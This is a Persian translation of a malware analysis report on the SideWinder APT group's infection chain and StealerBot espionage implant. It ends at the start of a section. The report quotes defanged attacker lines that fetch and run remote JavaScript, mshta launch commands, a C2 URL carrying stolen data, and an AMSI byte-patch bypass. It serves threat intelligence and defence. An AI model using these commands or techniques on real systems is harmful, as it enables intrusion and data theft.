روابط عمومی شرکت ایدکو (توزیعکنندهی محصولات کسپرسکی در ایران)؛ SideWinder یا همان T-APT-04 یا RattleSnake یکی از پرکارترین گروههای APT است که فعالیتهای خود را در سال 2012 شروع کرد و به طور عمومی در سال 2018 به ما معرفی شد. در طول سالها، این گروه به نهادهای برجسته در جنوب شرقی آسیا و جنوب آسیا حمله کرد. هدفهای اصلیاش مؤسسات نظامی و دولتی در پاکستان، سریلانکا، چین و نپال بودهاند. شرح مفصل حملات و فعالیتهای SideWinder در تحلیلها و گزارشات مختلف از سوی محققین و فروشندههای متفاوت آمده است. یکی از جدیدترینها آخر جولای 2024 منتشر شد. این گروه را به دلیل استفاده از اکسپلویتهای عمومی، فایلهای مخرب LNK و اسکریپتها به عنوان بردارهای آلودگی و استفاده از رتهای عمومی عاملی کممهارت میدانند اما قابلیتهای حقیقی آن تنها زمانی برملا میشود که جزئیات عملیاتهای آنها را با دقت بررسی کنید.
علیرغم سالها مشاهدات و مطالعات، دانش بدستآمده از فعالیتهای پسادستکاریِ آنها هنوز بسیار محدود است. در طول تحقیقات خود، ما موجهای جدیدی از حملات دیدیم که نشاندهنده توسعه فعالیتهای این گروه بوده است. این حمله کارش را با تأثیرگذاری روی مؤسسات رده بالا و زیرساختهای راهبردی در خاورمیانه و آفریقا شروع کرد و ما نیز کیت ابزار پسا اکسپلویتی به نام StealerBot را –که ایمپلنت ماژولار پیشرفته طراحیشده برای فعالیتهای جاسوسیای است که در حال حاضر باور داریم اصلیترین ابزار پسا اکسپلویت استفادهشده توسط SideWinder روی تارگتهای مورد علاقهاش است- را که پیشتر ناشناخته بود کشف کردیم.
بردارهای عفونت
زنجیره حمله SideWinder عموماً کار خویش را با ایمیل فیشینگ هدفدار یا اصطلاحاً نیزهای با یک پیوست که معمولاً داکیومنت Microsoft OOXML (یا ورد و یا XLSX) یا آرشیو زیپ است (که در عوض حاوی فایل مخرب LNK است) شروع میکند. این داکیومنت یا فایل LNK زنجیره آلوده چند مرحلهای را با دانلودرهای مختلف جاوااسکریپت و .NET شروع میکند که با نصب ابزار جاسوسی StealerBot خاتمه پیدا میکند. داکیومنتها اغلب حاوی اطلاعاتی هستند بدستآمده از وبسایتهای عمومی که برای فریب قربانیان در باز کردن فایل و باورِ قانونی بودنشان استفاده میشوند. برای مثال فایل تصویر میتواند حاوی دادههای دانلودشده از یوآرال زیر باشد:
https://nasc.org.np/news/closing-ceremony-training-program-financial-management-and-audit-officials-nepal-oil
محتواهای فایل مشخصاٌ برای تارگت انتخاب شده و بسته به کشور تارگت تغییر مییابد. همه داکیومنتها از تکنیک تمپلت ریموت برای دانلود فایل RTF ذخیرهشده روی سرور ریموت کنترلشده توسط مهاجم استفاده میکند.
اکسپلویت RTF
فایلهای RTF بهطور خاص توسط مهاجم برای سوء استفاده از CVE-2017-11882، یک آسیبپذیری آسیبپذیر حافظه در نرمافزار Microsoft Office ساخته شدهاند. مهاجم کد پوسته ای را تعبیه کرده است که برای اجرای کد جاوا اسکریپت با استفاده از تابع RunHTMLApplication موجود در کتابخانه mshtml.dll ویندوز طراحی شده. کد پوسته از ترفندهای مختلفی برای جلوگیری از سندباکس و تحلیل پیچیده استفاده میکند. از GlobalMemoryStatusEx برای تعیین اندازه حافظه RAM استفاده میکند. اگر اندازه کمتر از 2 گیگابایت باشد، اجرا را خاتمه میدهد. از دستورالعمل CPUID برای به دست آوردن اطلاعات در مورد سازنده پردازنده استفاده میکند. اگر CPU از Intel یا AMD نباشد، اجرا را خاتمه میدهد. تلاش میکند تا کتابخانه dotnetlogger32.dll را بارگیری کند. اگر فایل در سیستم موجود باشد، اجرا را خاتمه میدهد.
این بدافزار از رشتههای مختلف برای بارگیری کتابخانهها و توابع مورد نیاز برای اجرا استفاده میکند. این رشتهها کوتاه می شوند و قسمت گم شده در زمان اجرا با پچ بایتها اضافه میشود. رشتهها نیز در داخل کد مخلوط میشوند، که برای رد شدن از آنها و پرش به دستورالعملهای معتبر در حین اجرا تنظیم شده است تا تجزیه و تحلیل دشوارتر شود. رشتهها بهعنوان آرگومان به تابعی ارسال میشوند که همان عملکرد GetProcAddress را انجام میدهد: آدرس یک تابع صادر شده را دریافت میکند. برای انجام این کار، دو آرگومان دریافت میکند: یک آدرس پایه یک کتابخانه که تابع و نام تابع صادر شده را اکسپورت میکند. آرگومان اول با دستور فشار استاندارد ارسال می شود که آدرس کتابخانه را در پشته بارگذاری میکند. آرگومان دوم به طور غیرمستقیم با استفاده از یک دستورالعمل CALL ارسال میگردد.
سپس از توابع بارگذاریشده برای انجام اقدامات زیر استفاده میشود:
- کتابخانه mshtml.dll را بارگیری کنید و نشانگر را به تابع RunHTMLApplication ببرید.
- با استفاده از تابع GetCommandLineW یک اشارهگر به خط فرمان فعلی دریافت کنید.
- یک اسکریپت نوشته شده در جاوا اسکریپت را که در پوسته کد تعبیهشده و با XOR با استفاده از "0x12" به عنوان کلید رمزگذاری شده است، رمزگشایی کنید.
- خط فرمان فرآیند فعلی را با جاوا اسکریپت رمزگشایی شده بازنویسی کنید.
- تابع RunHTMLApplication را فراخوانی کنید، که کد مشخص شده در خط فرمان فرآیند را اجرا میکند.
جاوا اسکریپت بارگیریشده کد اسکریپت اضافی را از یک وبسایت راه دور دانلود و اجرا میکند.
javascript:eval("v=ActiveXObject;x=new v(\"WinHttp.WinHttpRequest.5.1\");x.open(\"GET\",
\"hxxps://mofa-gov-
sa.direct888[.]net/015094_consulategz\",false);x.Send();eval(x.ResponseText);window.close()")
LNK اولیه آلودگی
در طول بررسی ما همچنین یک ناقل عفونت دیگر را مشاهده کردهایم که از طریق یک ایمیل فیشینگ نیزهای با فایل ZIP پیوست شده بود. آرشیو ZIP با نام هایی توزیع میشد که قربانی را فریب میداد تا فایل را باز کند. مهاجم اغلب از نام هایی استفاده میکند که به رویدادهای مهمی مانند حج، زیارت سالانه اسلامی به مکه اشاره دارد.
این آرشیو معمولاً حاوی فایل LNK با همان نام آرشیو است. برای مثال:
نام فایل ZIP
|
نام فایل LNK
|
moavineen-e-hujjaj hajj-2024.zip
|
MOAVINEEN-E-HUJJAJ HAJJ-2024.docx.lnk
|
NIMA Invitation.zip
|
NIMA Invitation.doc.lnk
|
Special Envoy Speech at NCA.zip
|
Special Envoy Speech at NCA.jpg .lnk
|
දින සංශෝධන කර ගැනිම.zip (Amending dates)
|
දින සංශෝධන කර ගැනිම .lnk
|
offer letter.zip
|
offer letter.docx.lnk
|
فایل LNK به ابزار mshta.exe اشاره میکند که برای اجرای کد جاوا اسکریپت میزبانی شده در یک وبسایت مخرب که توسط مهاجم کنترل میشود استفاده میشود.
در زیر مقادیر پیکربندی استخراج شده از یکی از این فایلهای LNK آمده است:
1
2
3
4
5
6
7
8
|
Local Base Path : C:\Windows\System32\sshtw.png
Description : MOAVINEEN-E-HUJJAJ HAJJ-2024.docx
Relative Path : ..\..\..\Windows\System32\calca.exe
Link Target: C:\Windows\System32\mshta.exe
Working Directory : C:\Windows\System32
Command Line Arguments : "hxxps://mora.healththebest[.]com/8eee4f/mora/hta?q=0"
Icon File Name : %systemroot%\System32\moricons.dll
Machine ID : desktop-84bs21b
|
ماژول دانلودر
اکسپلویتهای RTF و فایلهای LNK یک بدافزار جاوااسکریپت را اجرا میکنند. این اسکریپت کارش کدگشایی پیلود جاسازشدهای است که به عنوان رشته کدگذاریشدهی base64 ذخیره شده. این پیلود یک آرشیو .NET
به نام App.dll است که سپس توسط اسکریپت فراخوانی میشود.
App.dll یک دراپر یا قطره چکان ساده است که برای بازیابی یک بار دات نت دیگر از یک URL راه دور ارسال شده توسط جاوا اسکریپت، یا رمزگشایی و اجرای بار دیگر ارسال شده به عنوان آرگومان پیکربندی شده است. کتابخانه باید با فراخوانی متد Programs.Work()اجرا شود که میتواند سه آرگومان را به عنوان ورودی دریافت کند. ما ورودیها را به صورت زیر نام گذاری کردیم:
آرگومان
|
شرح آرگومان
|
C2_URL
|
آرگیومنتی انتخابی که میتواند برای عبور از یوآرالی استفادهشده برای دانلود پیلودی ریموت استفاده شود.
|
Payload_filename
|
یک آرگومان اختیاری که میتواند همراه با آرگومان Payload_Data برای ایجاد فایلی در سیستم فایل محلی که حاوی بار حذف شده باشد استفاده شود.
|
Payload_data
|
یک آرگومان اختیاری که میتواند برای ارسال یک بار رمزگذاری شده که باید در سیستم فایل محلی رها شود استفاده شود.
|
App.dll با جمعآوری اطلاعات در مورد محصولات امنیتی نقطه پایانی نصب شده شروع میشود. به طور خاص، راهحلهای Avast و AVG مورد توجه بدافزار هستند. داده های جمعآوری شده به C2 ارسال میشود. سپس، اگر آرگومان “Payload_data” “Null” نباشد، دادهها را با استفاده از base64 و Gzip رمزگشایی و از حالت فشرده خارج میکند. پیلود حاصل در دایرکتوری Temp کاربر با استفاده از نام فایل مشخصشده در آرگومان Payload_filename ذخیره میشود. اگر راه حلهای Avast یا AVG نصب شده باشد، محتوای فایل حذفشده با دستور زیر اجرا میشود:
1
2
3
|
mshta.exe "javascript:WshShell = new
ActiveXObject("WScript.Shell");WshShell.Run("%TEMP%\%Payload_filename%", 1,
false);window.close()
|
در غیر این صورت، با فرمان زیر اجرا خواهد شد:
pcalua.exe-a%TEMP%\%Payload_filename%
اگر مهاجم یک C2_URL ارائه کند، بدافزار تلاش میکند تا بار دیگری را از URL راه دور مشخص شده دانلود کند. دادههای به دست آمده با یک الگوریتم XOR با استفاده از 32 بایت اول محموله دریافتی به عنوان کلید رمزگشایی میشوند. فایل حاصل باید بدافزار دات نت با نام ModuleInstaller.dll باشد.
نصبکنندهی ماژول
بدافزار ModuleInstaller یک دانلودکننده است که برای استقرار تروجان مورد استفاده برای حفظ جای پایی بر روی ماشینهای در معرض خطر استفاده میشود، یک مؤلفه مخرب که ما آن را «ماژول بارگذار در پشتی[1]» نامیدهایم. ما از سال 2020 این مؤلفه خاص را رصد کردهایم، اما قبلاً آن را فقط در گزارشهای اطلاعاتی خصوصی خود توضیح میدادیم.
ModuleInstaller برای حذف حداقل چهار فایل طراحی شده است: یک برنامه قانونی و امضاشده که برای بارگذاری جانبی یک کتابخانه مخرب استفاده میشود، یک مانیفست .config که در برنامه به عنوان منبع جاسازی شده و در مرحله بعدی برای بارگیری صحیح ماژولهای اضافی مورد نیاز است، یک کتابخانه مخرب، و یک محموله رمزگذاری شده. ما ترکیبهای مختلفی از فایلهای حذف شده را مشاهده کردیم که رایجترین آنها عبارت بود از:
1
2
3
4
5
6
7
|
%Malware Directory%\vssvc.exe
%Malware Directory%\%encryptedfile%
%Malware Directory%\vsstrace.dll
%Malware Directory%\vssvc.exe.config
|
یا
1
2
3
4
5
6
7
|
%Malware Directory%\WorkFolders.exe
%Malware Directory%\%encryptedfile%
%Malware Directory%\propsys.dll
%Malware Directory%\WorkFolders.exe.config
|
ModuleInstaller منابع زیر را جاسازی میکند:
نام منبع
|
MD5
|
شرح
|
Interop_TaskScheduler_x64
|
95a49406abce52a25f0761f92166c18a
|
Interop.TaskScheduler.dll برای سیستمهای 64 بیتی مورد استفاده مخصوص ایجاد Windows Scheduled Tasks
|
Interop_TaskScheduler_x86
|
dfe750747517747afa2cee76f2a0f8e4
|
Interop.TaskScheduler.dll برای سیستمهای 32 بیتی مورد استفاده برای ایجاد Windows Scheduled Tasks
|
manifest
|
d3136d7151f60ec41a370f4743c2983b
|
مانیفست XML به عنوان فایل .config حذف شد
|
PeLauncher
|
22e3a5970ae84c5f68b98f3b19dd980b
|
برنامه دات نت در کد استفاده نشده است
|
shellcode
|
32fc462f80b44013caeada725db5a2d1
|
Shellcode برای بارگیری کتابخانهها استفاده میشود که تابعی به نام "شروع" را صادر میکند.
|
StealerBot_CppInstaller
|
a107f27e7e9bac7c38e7778d661b78ac
|
کتابخانه C++ برای دانلود دو کتابخانه مخرب و ایجاد نقاط ماندگاری استفاده میشود
|
دانلودکننده طوری پیکربندی شده است که یک URL را به عنوان ورودی دریافت و آن را برای استخراج یک مقدار خاص از یک متغیر تجزیه کند. سپس مقدار بازیابی شده با لیستی از مقادیر رشتهای مقایسه میشود که به نظر میرسد زیر رشتههای راهکارهای امنیتی نقطه پایانی شناخته شده باشند:
الگو
|
راهکار اندپوینت سکیوریتی
|
q=apn
|
ناشناخته
|
aspers
|
کسپرسکی
|
afree
|
مکفری
|
avast
|
آواست
|
avg
|
AVG
|
orton
|
نورتون
|
360
|
توتا سکیوریتی 360
|
avir
|
اویرا
|
ModuleInstaller از شش روال عفونت پشتیبانی میکند، که در تکنیک های مورد استفاده برای اجرای «ماژول بارگذار در پشتی» یا دانلود مؤلفهها متفاوت هستند، اما در منطق اصلی شباهتهایی دارند. برخی از این روال ها همچنین شامل ترفندهایی برای حذف شواهد هستند، در حالیکه برخی دیگر اینطور نیستند. بدافزار فقط یک روال خاص را اجرا میکند که بر اساس مقدار دریافت شده به عنوان آرگومان و مقدار یک پیکربندی داخلی تعبیهشده در کد انتخاب شده است.
روتین
|
شرایط
|
روتین 1 عفونت
|
اجراشده وقتی زیررشته q=apn شناسایی شود
|
روتین 2 عفونت
|
اجراشده وقتی بایت خاصی از کانفیگ داخلی مساوی با یک شود
|
روتین 3 عفونت
|
اجرا شده وقتی زیررشته 360 شناسایی شود
|
روتین 4 عفونت
|
اجراشده وقتی زیررشته آواست یا اویر شناسایی شود
|
روتین 5 عفونت
|
اجراشده وقتی زیررشته اسپرز یا افری شناسایی شود
|
روتین 6 عفونت
|
مورد پیش فرض زمانی اجرا میشود که تمام شرایط دیگر برآورده نشود.
|
همه روتینها اطلاعات مربوط به سیستم در معرض خطر را جمع آوری میکنند. به طور خاص، آنها موارد زیر را جمع میکنند:
نام کاربری فعلی؛
نام پردازنده و تعداد هسته ها؛
نام و اندازه دیسک فیزیکی؛
مقادیر ویژگی های TotalVirtualMemorySize و TotalVisibleMemorySize.
نام میزبان فعلی؛
آدرس IP محلی؛
سیستمعامل نصب شده؛
معماری.
سپس دادههای جمعآوریشده در base64 کدگذاری و با یک URL C2 که در کد تعبیه شده است، در داخل متغیری به نام "داده" الحاق میشوند.
hxxps://dynamic.nactagovpk[.]org/735e3a_download?data=<stoleninfo>
این بدافزار چندین URL C2 در کد تعبیه شده است که همه آنها با استفاده از یک الفبای سفارشی با base64 کدگذاری شدهاند:
C2_URL_1 = hxxps://dynamic.nactagovpk[.]org/735e3a_download
C2_URL_2 = hxxps://dynamic.nactagovpk[.]org/0df7b2_download
C2_URL_3 = hxxps://dynamic.nactagovpk[.]org/27419a_download
C2_URL_4 = hxxps://dynamic.nactagovpk[.]org/ef1c4f_download
بدافزار اطلاعات جمع آوریشده را به یکی از سرورهای C2 انتخاب شده بر اساس روتین عفونت خاص ارسال میکند. پاسخ سرور باید یک بار با مقادیر پیکربندی مختلف باشد. مجموعه مقادیر ممکن است بسته به روتین عفونت متفاوت باشد. بدافزار مقادیر دریافتی را تجزیه میکند و آنها را به متغیرهای محلی اختصاص میدهد. در بیشتر موارد نام متغیرها را نمیتوان از کد بدافزار بدست آورد. با این حال، در یک روتین عفونت خاص، مهاجم از رشتههای اشکالزدایی استفاده میکند که به ما امکان میدهد بیشتر این نامها را به دست آوریم. جدول زیر حاوی لیست کامل مقادیر پیکربندی ممکن است.
نام متغیرش
|
شرح
|
MALWARE_DIRECTORY
|
مسیر دایرکتوری؛ جایی که همه فایلهای مخرب آنجا ذخیره شدند
|
LOAD_DLL_URL_X64
|
یوآرال برای دانلود آرشیو مخرب برای سیستمهای 64 بیتی استفاده میشود
|
LOAD_DLL_URL_X86
|
یوآرال برای دانلود آرشیو مخرب جهت سیستمهای 32 بیتی استفاده میشود
|
LOAD_DLL_URL
|
یوآرال برای دانلود آرشیو مخرب استفاده میشود. برخی روتینهای عفونت معماری را چک نمیکنند.
|
APP_DLL_URL
|
یوآرال برای دانلود پیلود رمزگذاریشده استفاده میشود.
|
HIJACK_EXE_URL
|
یوآرال برای دانلود اپ قانونی استفادهشده برای سایدلود کردن آرشیو مخرب استفاده میشود
|
RUN_KEY
|
نام ارزش رجیستری ویندوز که برای حفظ ماندگاری ساخته خواهد شد
|
HIJACK_EXE_NAME
|
نام اپ قانونی
|
LOAD_DLL_NAME
|
نام آرشیو مخرب
|
MOD_LOAD_DLL_URL
|
یوآرال استفادهشده برای دانلود آرشیو ناشناخته که در MALWARE_DIRECTORY as “IPHelper.dll ذخیره شده.
|
محموله دو بار XOR شده است. کلیدها 32 بایت اول در ابتدای محموله هستند.
در طول اجرا، بدافزار با ارسال درخواستهای GET به C2، وضعیت آلودگی فعلی را ثبت میکند. نمونه مورد تجزیه و تحلیل برای این منظور از C2_URL_4 استفاده کرد. درخواست شامل حداقل یک متغیر به نام "داده" است که مقدار آن نشاندهنده وضعیت آلودگی است.
متغیر
|
شرح
|
?data=1
|
تکمیل دانلود
|
?data=2
|
نقطه ماندگاری ایجاد
|
?data=3&m=str
|
خطا. همچنین حاوی یک متغیر m با اطلاعات مربوط به خطا
|
?data=4
|
تکمیل آلودگی. اما مرحله بعدی اجرا نمیشود
|
?data=5
|
تکمیل آلودگی با اجرای مرحله اول
|
تکنیک مورد استفاده برای حفظ پایداری با توجه به روال آلودگی انتخابشده توسط بدافزار متفاوت است، اما عموماً به ایجاد مقادیر جدید رجیستری تحت کلید اجرای HKCU یا ایجاد وظایف برنامهریزی شده ویندوز متکی است.
به عنوان مثال:
RegKey: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegValue: xcschemer (MALWARE_DIRECTORY)
RegValueData: %AppData%\xcschemer\vssvc.exe (HIJACK_EXE_PATH)
ماژول لودر بکدر
طرح آلودگی که در پاراگراف قبلی توضیح داده شد منجر به نصب کتابخانه مخرب میشود که با استفاده از برنامه قانونی و با امضای دیجیتالی بارگذاری شده است. این کتابخانه به عنوان بارگیری عمل میکند که یک پیلود رمزگذاریشده را که توسط ModuleInstaller دراپ شده، بازیابی، آن را رمزگشایی و در حافظه بارگذاری میکند. ماژول بارگذار بکدر از سال 2020 مشاهده شده است، ما آن را در گزارش های خصوصی APT خود پوشش دادیم. در طول سالها تقریباً به همین شکل باقی مانده است. اخیراً توسط مهاجم به روز شده، اما تفاوت اصلی این است که انواع قدیمی برای بارگذاری فایل رمزگذاری شده با استفاده از یک نام فایل خاص تعبیه شده در برنامه پیکربندی شدهاند و آخرین متغیرها برای شمارش تمام فایلها در فهرست فعلی و بارگذاری آنها بدون افزونه طراحی شدهاند. این آرشیو با استفاده از تکنیکی موسوم به Control Flow Flattening به شدت مبهمسازی میشود.
افزون بر این، رشتهها، نامهای متود و نامهای منبع به طور رندوم با رشتههای بلند اصلاح میشوند که همین، تحلیل کد کدگشاییشده را سخت میکند. علاوه بر این، برخی رشتههای مربوطه داخل منبعی جاسازشده در برنامه ذخیره میشوند و با لایه XOR و Triple DES رمزگذاری میشوند. این بدافزار همچنین شامل تکنیکهای ضدسندباکس هم میشود. تاریخ و زمان فعلی را میگیرد و رشته را به مدت 100 ثانیه در حالت خواب قرار میدهد. سندباکسها معمولاً عملکردهای خواب را نادیده میگیرند زیرا اغلب توسط بدافزارها برای ایجاد تأخیرهای طولانی در اجرا و جلوگیری از شناسایی استفاده میشوند. پس از بیدار شدن، بدافزار دوباره زمان و تاریخ فعلی را بازیابی نموده و بررسی میکند که آیا زمان سپری شده کمتر از 90.5 ثانیه است یا خیر. اگر شرط درست باشد، اجرا را خاتمه میدهد. این بدافزار همچنین سعی میکند با اصلاح تابع AmsiScanBuffer در amsi.dll (رابط اسکن ضد بدافزار ویندوز) از شناسایی جلوگیری کند. به طور خاص، کتابخانه amsi.dll را بارگیری و دایرکتوری اکسپورت را برای یافتن تابع AmsiScanBuffer تجزیه میکند.
در این عملکرد، پرچمهای حفاظت از حافظه را تغییر میدهد تا دستورالعملها را در RVA 0x337D تغییر دهد و بدینترتیب همیشه کد خطای 0x80070057 راE_INVALIDARG)– استدلال نامعتبر)برگرداند. این تغییر محافظ Amsi را مجبور میکند تا همیشه یک نتیجه اسکن برابر با 0 را برگرداند که معمولاً به عنوان AMSI_RESULT_CLEAN تفسیر میشود. کد وصلهشده فقط یک بایت است: بدافزار 0x74 را تغییر میدهد که مطابق با دستور JZ (Jump if zero) است، به 0x75 که مربوط به JNZ (پرش اگر صفر نیست[2]) است. پرش باید زمانی انجام شود که بافر ارائه شده به عنوان ورودی تابع AmsiScanBuffer نامعتبر باشد. با این اصلاح، پرش برای همه بافرهای معتبر انجام می شود.پس از وصله کردن AmsiScanBuffer، بدافزار عملیات راهاندازی را برای رسیدن به هدف اصلی خود، که بارگذاری بار دیگری از فایل رمزگذاری شده است، انجام میدهد. ابتدا، فایلها را در فهرست فعلی شمارش میکند و سعی میکند فایلی را بدون کاراکتر «.» در نام فایل (یعنی بدون پسوند) پیدا کند. سپس، اگر فایل پیدا شد، از 16 بایت اول در ابتدای فایل به عنوان کلید استفاده و بقیه داده ها را با استفاده از الگوریتم XOR رمزگشایی میکند. در نهایت، دادهها را به عنوان یک اسمبلی دات نت بارگذاری و روش Program.ctor را فراخوانی میکند.
استیلر بات
StealerBot نامی است که توسط مهاجم به ایمپلنت مدولار توسعه یافته با دات نت برای انجام فعالیتهای جاسوسی اختصاص داده شده است. ما هرگز هیچ یک از اجزای ایمپلنت را در فایل سیستم مشاهده نکردیم. آنها توسط ماژول بارگذار بکدر در حافظه بارگذاری میشوند. قبل از بارگیری، باینری در یک فایل رمزگذاری شده ذخیره میشود. ایمپلنت متشکل از ماژول های مختلف است که توسط "ارکستراتور" اصلی بارگذاری شده است، که مسئول ارتباط با C2 و اجرا و مدیریت پلاگین ها است. در طول بررسی، ما چندین افزونه را کشف کردیم که بر روی قربانیان در معرض خطر آپلود شده بودند و از آنها استفاده میشد:
نصب بدافزار اضافی؛
گرفتن اسکرین شات؛
ورود به صفحه کلید؛
سرقت رمزهای عبور از مرورگرها؛
رهگیری اعتبار RDP؛
سرقت فایلها؛
شروع پوسته معکوس
فیش کردن اطلاعات محرمانه ویندوز
افزایش امتیازات با دور زدن UAC
شناسههای ماژول هم در ماژولها و هم در یک فایل پیکربندی رمزگذاری شده گنجانده شده است. Orchestrator از آنها برای مدیریت اجزا استفاده میکند. پیامها/فرمانها را با ماژولها به اشتراک میگذارد و میتواند پیامهای خاصی را برای کشتن یا حذف ماژولها با یک شناسه خاص مدیریت کند.
آیدی ماژول
|
شرح
|
0xca
|
کیلاگر
|
0xcb
|
لایو کنسول
|
0xd0
|
گیرنده اسکرینشات
|
0xd4
|
سارق فایل
|
0xd6
|
UACBypass
|
0xe0
|
سارق اطلاعات RDP
|
0xe1
|
دریافتکننده توکن
|
??
|
فیشر اطلاعات
|
StealerBot Orchestrator
Orchestrator معمولاً توسط ماژول لودر بکدر لود میشود و مسئولیت ارتباط با سرور C2 و اجرای و مدیریت پلاگین ها را بر عهده دارد. به طور دوره ای به دو URL متصل میشود تا ماژول های ارائه شده توسط مهاجم را دانلود و فایلهایی را با اطلاعات دزدیده شده آپلود کند. همچنین پیام هایی را با ماژول بارگذاری شده مبادله میکند که میتواند برای ارائه یا اصلاح ویژگی های پیکربندی و تخلیه اجزای خاص از حافظه استفاده شود. پس از بارگذاری در حافظه، بدافزار منبعی را که در Orchestrator تعبیه شده است به نام "پیش فرض" رمزگشایی می کند. این منبع حاوی یک فایل پیکربندی با ساختار زیر است:
پارامتر
|
نوع پارامتر
|
شرح
|
مسیر کانفیگ
|
رشته
|
مکان مورد استفاده برای ذخیره فایل پیکربندی پس از اولین اجرا
|
دایرکتوری داده
|
رشته
|
دایرکتوری که در آن افزونه ها فایل های خروجی را که در C2 از راه دور آپلود می شوند ذخیره میکنند
|
ماژولهای C2
|
رشته
|
یو آر ال استفادهشده برای ارتباط با سرور C2 و بازیابی پلاگینهای اضافی
|
دروازه C2
|
رشته
|
یوآرال استفادهشده برای آپلود فایلهایی که توسط ماژولها تولید شدند
|
زمان خواب ماژولهای C2
|
عدد صحیح
|
زمان خواب بین ارتباطات با ماژول های C"
|
زمان خواب دروازههای C2
|
عدد صحیح
|
زمان خواب بین ارتباطات با C2 Gateway
|
RSA_Key
|
رشته
|
کلید RSA استفاده شده برای رمزگذاری ارتباط با سرور C2
|
تعداد پلاگینها
|
عدد صحیح
|
تعداد پلاگینهای جاگذاریشده در کانفیگ
|
ماژولها
|
چینش
|
چینش و آرایه ای که شامل ماژولها میشود
|
این پیکربندی میتواند چندین ماژول را جاسازی کند. به طور پیش فرض، آرایه معمولاً خالی است، اما پس از اجرای اولیه، بدافزار یک کپی از پیکربندی در یک فایل محلی ایجاد میکند و آن را با اطلاعات بازیابی شده از سرور C2 به روز نگه میدارد.
پس از تجزیه پیکربندی، بدافزار تمام ماژولهای مشخصشده در فایل را بارگیری میکند. سپس دو رشته را برای ارتباط با سرور C2 راه دور راه اندازی میکند. اولین رشته برای برقراری ارتباط با اولین URL که ماژول های C2 نامیده ایم، استفاده میشود که برای به دست آوردن ماژول های جدید استفاده میشود. رشته دوم برای ارتباط با URL استفاده میشود که ما آن را C2 Gateway نامیدهایم، که برای آپلود دادههای تولید شده توسط ماژولها استفاده میشود. این بدافزار با استفاده از درخواست های GET با سرور C2 Modules ارتباط برقرار میکند. قبل از ارسال درخواست، یک مقدار x اضافه میکند که حاوی لیست ماژول هایی است که قبلاً توسط عامل بارگذاری شده است.
&x[moduleId_1,moduleId_2,moduleId_3,etc.]"
سرور با یک پیام متشکل از دو بخش، هدر و بارگذاری پاسخ میدهد. هر قسمت دارای ساختار خاصی با اطلاعات متفاوت است.
هر پیام به طور دیجیتالی با کلید اختصاصی RSA که صاحبش، مهاجم سمت سرور است امضا میشود و امضا با ارزش rgbSignature ذخیره میشود. Orchestrator از متود RSACryptoServiceProvider.VerifyHash برای تأیید اعتبار امضای دیجیتالی ارائهشده استفاده میکند. هِدِر با همان الگوریتم XOR استفادهشده برای کدگذاری یا کدگشایی فایل کانفیگ کدگذاری میشود. پیلود با Gzip فشرده شده و با AES رمزگذاری میگردد. هدر حاوی اطلاعات مورد نیاز برای شناسایی ماژول، رمزگشایی پیلود و اعتبارسنجی دادههای دریافتی است. وقتی ماژول لود شود، Orchestrator متود اصلی ماژول را فراخوانده از دو آرگومان عبور میکند: آیدی ماژول و هندل پایپ. پایپ برای حفظ ارتباط بین ماژول و ارکستراتور استفاده میشود. این ماژولها میتوانند پیامهای مختلفی را به Orchestrator بفرستند تا کانفیگ را دریافت یا اصلاح کنند، پیامهای لاگ را بفرستند و اجرای ماژول را خاتمه دهند. پیامها مانند دستورات عمل میکنند، شناسه خاصی دارند و می توانند شامل آرگومان باشند. اولین بایت پیام ID آن است که نوع درخواست را مشخص میکند:
آیدی پیام
|
شرح
|
0
|
دریافت تنظیمات: ارکستراتور یک کپی از پیکربندی فعلی ایجاد کرده و آن را به ماژول ارسال میکند.
|
1
|
به روزرسانی پیکربندی: ماژول یک پیکربندی جدید ارائه میدهد و ارکستراتور مقادیر پیکربندی فعلی را به روز و آنها را در فایل محلی ذخیره میکند.
|
2
|
آنلود کردن ماژول فعلی ماژول: ارکستراتور باید ماژول فعلی را از حافظه تخلیه کند و لولههای مربوطه را ببندد.
|
3
|
آنلود کردن ماژول با آیدی: ارکستراتور باید یک ماژول با شناسه مشخص شده در درخواست دریافتی را بارگذاری کند.
|
4
|
حذف استارتآپ: ارکستراتور باید یک ماژول را از پیکربندی محلی حذف کند. شناسه ماژول در درخواست دریافتی مشخص شده است.
|
5
|
حذف ماژول فعلی از پیکربندی: ارکستراتور باید شناسه ماژول فعلی را از پیکربندی محلی حذف کند.
|
6
|
پایان دادن به رشته فعلی: ارکستراتور تایمرها، لوله ها را متوقف و ماژول فعلی را از لیست فعلی ماژول ها حذف میکند.
|
7
|
سیو کردن پیام لاگ: ارکستراتور یک پیام گزارش را با استفاده از شناسه ماژول فعلی ذخیره میکند.
|
8
|
سیو پیام لاگ: ارکستراتور یک پیام گزارش را با استفاده از شناسه ماژول مشخص شده ذخیره میکند.
|
9
|
دریافت پیکربندی پوشه خروجی
|
10
|
دریافت URL ماژول های C2: ارکستراتور URL فعلی ماژول های C2 را با ماژول به اشتراک میگذارد.
|
11
|
دریافت URL دروازه C2:ارکستراتور URL فعلی دروازه C2 را با ماژول به اشتراک میگذارد.
|
12
|
دریافت کلید عمومی RSA
|
ماژولها
کیلاگر
این ماژول از تابع SetWindowsHookEx مشخصشده در کتابخانه user32.dll برای نصب رویه هوک و نظارت بر رویدادهای ورودی صفحه کلید و ماوس سطح پایین استفاده میکند. این بدافزار می تواند ضربههای کلید، رویدادهای موس، محتویات کلیپ بورد ویندوز و عنوان پنجره فعال فعلی را ثبت کند.
گیرنده اسکرینشات
این ماژول به طور دورهای اسکرین شاتهایی از اسکرین اولیه میگیرد.
سارق فایل
ماژول File Stealer فایلها را از دایرکتوری های خاص جمع آوری میکند. همچنین درایوهای قابل جابجایی را اسکن میکند تا فایل هایی با پسوندهای خاص را به سرقت ببرد. به طور پیش فرض لیست افزونه ها به شرح زیر است:
.ppk,.doc,.docx,.xls,.xlsx,.ppt,.zip,.pdf
بر اساس این مقادیر، میتوان نتیجه گرفت این ابزار برای انجام فعالیتهای جاسوسی با جمعآوری فایلهایی که معمولاً حاوی اطلاعات حساس هستند، مانند اسناد مایکروسافت آفیس، توسعه یافته است. همچنین فایلهای PPK را جستجو میکند، که پسوند فایلهایی است که توسط PuTTY برای ذخیره کلیدهای خصوصی ایجاد میشود. PuTTY یک کلاینت SSH و Telnet است که معمولاً در سیستم عامل ویندوز برای دسترسی به سیستم های راه دور استفاده میشود. اطلاعات سرقتی همچنین شامل اطلاعات درایو محلی و ویژگیهای فایل میشود.
لایو کنسول
